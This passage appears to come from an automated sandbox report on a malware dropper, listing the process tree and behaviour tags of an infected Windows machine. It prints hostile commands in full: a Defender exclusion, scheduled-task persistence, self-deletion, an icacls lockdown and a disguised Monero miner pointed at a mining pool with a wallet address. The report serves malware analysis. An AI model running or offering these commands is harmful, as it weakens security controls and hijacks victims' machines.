- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\dvebwecC:\Users\Admin\AppData\Roaming\dvebwec2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Local\3eedc4fe-4a39-4961-b84a-cecbcb4d1e46\AEDF.exeC:\Users\Admin\AppData\Local\3eedc4fe-4a39-4961-b84a-cecbcb4d1e46\AEDF.exe --Task2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\3eedc4fe-4a39-4961-b84a-cecbcb4d1e46\AEDF.exeC:\Users\Admin\AppData\Local\3eedc4fe-4a39-4961-b84a-cecbcb4d1e46\AEDF.exe --Task3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Local\3eedc4fe-4a39-4961-b84a-cecbcb4d1e46\AEDF.exeC:\Users\Admin\AppData\Local\3eedc4fe-4a39-4961-b84a-cecbcb4d1e46\AEDF.exe --Task2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\3eedc4fe-4a39-4961-b84a-cecbcb4d1e46\AEDF.exeC:\Users\Admin\AppData\Local\3eedc4fe-4a39-4961-b84a-cecbcb4d1e46\AEDF.exe --Task3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\dvebwecC:\Users\Admin\AppData\Roaming\dvebwec2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Local\3eedc4fe-4a39-4961-b84a-cecbcb4d1e46\AEDF.exeC:\Users\Admin\AppData\Local\3eedc4fe-4a39-4961-b84a-cecbcb4d1e46\AEDF.exe --Task2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\3eedc4fe-4a39-4961-b84a-cecbcb4d1e46\AEDF.exeC:\Users\Admin\AppData\Local\3eedc4fe-4a39-4961-b84a-cecbcb4d1e46\AEDF.exe --Task3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\setup_install.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun05ac1b0207d3ff3b8.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun05ac1b0207d3ff3b8.exeSun05ac1b0207d3ff3b8.exe6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Sun05ac1b0207d3ff3b8.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun05ac1b0207d3ff3b8.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Sun05ac1b0207d3ff3b8.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun052bbd8bebd9.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun052bbd8bebd9.exeSun052bbd8bebd9.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun05532f7abc.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun05532f7abc.exeSun05532f7abc.exe6⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun05640630a6aa.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun05640630a6aa.exeSun05640630a6aa.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun059375dac544fc4a.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun059375dac544fc4a.exeSun059375dac544fc4a.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"8⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit9⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'10⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit10⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'11⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"10⤵
- Executes dropped EXE
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth10⤵
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"10⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4624 -s 6889⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4624 -s 8409⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4624 -s 8969⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4624 -s 9409⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4624 -s 10009⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4624 -s 11009⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4624 -s 6809⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\udptest.exe"C:\Users\Admin\AppData\Local\Temp\udptest.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\8187961.exe"C:\ProgramData\8187961.exe"9⤵
- Executes dropped EXE
-
C:\ProgramData\6111119.exe"C:\ProgramData\6111119.exe"9⤵
- Executes dropped EXE
- Suspicious behavior: SetClipboardViewer
-
C:\ProgramData\7848959.exe"C:\ProgramData\7848959.exe"9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\ProgramData\7848959.exe"C:\ProgramData\7848959.exe"10⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1932 -s 94810⤵
- Program crash
-
C:\ProgramData\7479873.exe"C:\ProgramData\7479873.exe"9⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun05d60bc3b96248e5.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun05d60bc3b96248e5.exeSun05d60bc3b96248e5.exe6⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun050462125c7d35.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun050462125c7d35.exeSun050462125c7d35.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\1441614.exe"C:\ProgramData\1441614.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\2558136.exe"C:\ProgramData\2558136.exe"7⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"8⤵
- Executes dropped EXE
-
C:\ProgramData\1354845.exe"C:\ProgramData\1354845.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 6888⤵
- Program crash
-
C:\ProgramData\6003733.exe"C:\ProgramData\6003733.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun05899db881f67fb29.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun05899db881f67fb29.exeSun05899db881f67fb29.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun054fe19a12cb3.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun054fe19a12cb3.exeSun054fe19a12cb3.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-URFH1.tmp\Sun054fe19a12cb3.tmp"C:\Users\Admin\AppData\Local\Temp\is-URFH1.tmp\Sun054fe19a12cb3.tmp" /SL5="$9003A,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun054fe19a12cb3.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-1329S.tmp\46807GHF____.exe"C:\Users\Admin\AppData\Local\Temp\is-1329S.tmp\46807GHF____.exe" /S /UID=burnerch28⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
-
C:\Program Files\Internet Explorer\EMIPSUZPGK\ultramediaburner.exe"C:\Program Files\Internet Explorer\EMIPSUZPGK\ultramediaburner.exe" /VERYSILENT9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-9E7HM.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-9E7HM.tmp\ultramediaburner.tmp" /SL5="$301E0,281924,62464,C:\Program Files\Internet Explorer\EMIPSUZPGK\ultramediaburner.exe" /VERYSILENT10⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu11⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\cf-71ee8-7af-574ac-fa619023cd7cb\Jovoniwahy.exe"C:\Users\Admin\AppData\Local\Temp\cf-71ee8-7af-574ac-fa619023cd7cb\Jovoniwahy.exe"9⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\e2-ee156-7c2-6b8ba-6cc7b2c3ad072\Vupywitike.exe"C:\Users\Admin\AppData\Local\Temp\e2-ee156-7c2-6b8ba-6cc7b2c3ad072\Vupywitike.exe"9⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xn0zmdkm.i0m\GcleanerEU.exe /eufive & exit10⤵
-
C:\Users\Admin\AppData\Local\Temp\xn0zmdkm.i0m\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\xn0zmdkm.i0m\GcleanerEU.exe /eufive11⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\m3sr1xiy.53s\installer.exe /qn CAMPAIGN="654" & exit10⤵
-
C:\Users\Admin\AppData\Local\Temp\m3sr1xiy.53s\installer.exeC:\Users\Admin\AppData\Local\Temp\m3sr1xiy.53s\installer.exe /qn CAMPAIGN="654"11⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\m3sr1xiy.53s\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\m3sr1xiy.53s\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1631210717 /qn CAMPAIGN=""654"" " CAMPAIGN="654"12⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qzltbsaz.luy\anyname.exe & exit10⤵
-
C:\Users\Admin\AppData\Local\Temp\qzltbsaz.luy\anyname.exeC:\Users\Admin\AppData\Local\Temp\qzltbsaz.luy\anyname.exe11⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\i2l0rtfn.sco\gcleaner.exe /mixfive & exit10⤵
-
C:\Users\Admin\AppData\Local\Temp\i2l0rtfn.sco\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\i2l0rtfn.sco\gcleaner.exe /mixfive11⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wr0mbrkj.p45\autosubplayer.exe /S & exit10⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun05fa3b4d2ae56e.exe /mixone5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun05fa3b4d2ae56e.exeSun05fa3b4d2ae56e.exe /mixone6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4400 -s 6567⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4400 -s 6727⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4400 -s 6807⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4400 -s 6967⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4400 -s 8887⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\79B5.exeC:\Users\Admin\AppData\Local\Temp\79B5.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\AEDF.exeC:\Users\Admin\AppData\Local\Temp\AEDF.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\AEDF.exeC:\Users\Admin\AppData\Local\Temp\AEDF.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\3eedc4fe-4a39-4961-b84a-cecbcb4d1e46" /deny *S-1-1-0:(OI)(CI)(DE,DC)4⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\AEDF.exe"C:\Users\Admin\AppData\Local\Temp\AEDF.exe" --Admin IsNotAutoStart IsNotTask4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\AEDF.exe"C:\Users\Admin\AppData\Local\Temp\AEDF.exe" --Admin IsNotAutoStart IsNotTask5⤵
- Executes dropped EXE
- Modifies extensions of user files
-
C:\Users\Admin\AppData\Local\ba7104f9-5016-4ba9-892c-049f18772c54\build2.exe"C:\Users\Admin\AppData\Local\ba7104f9-5016-4ba9-892c-049f18772c54\build2.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\ba7104f9-5016-4ba9-892c-049f18772c54\build2.exe"C:\Users\Admin\AppData\Local\ba7104f9-5016-4ba9-892c-049f18772c54\build2.exe"7⤵
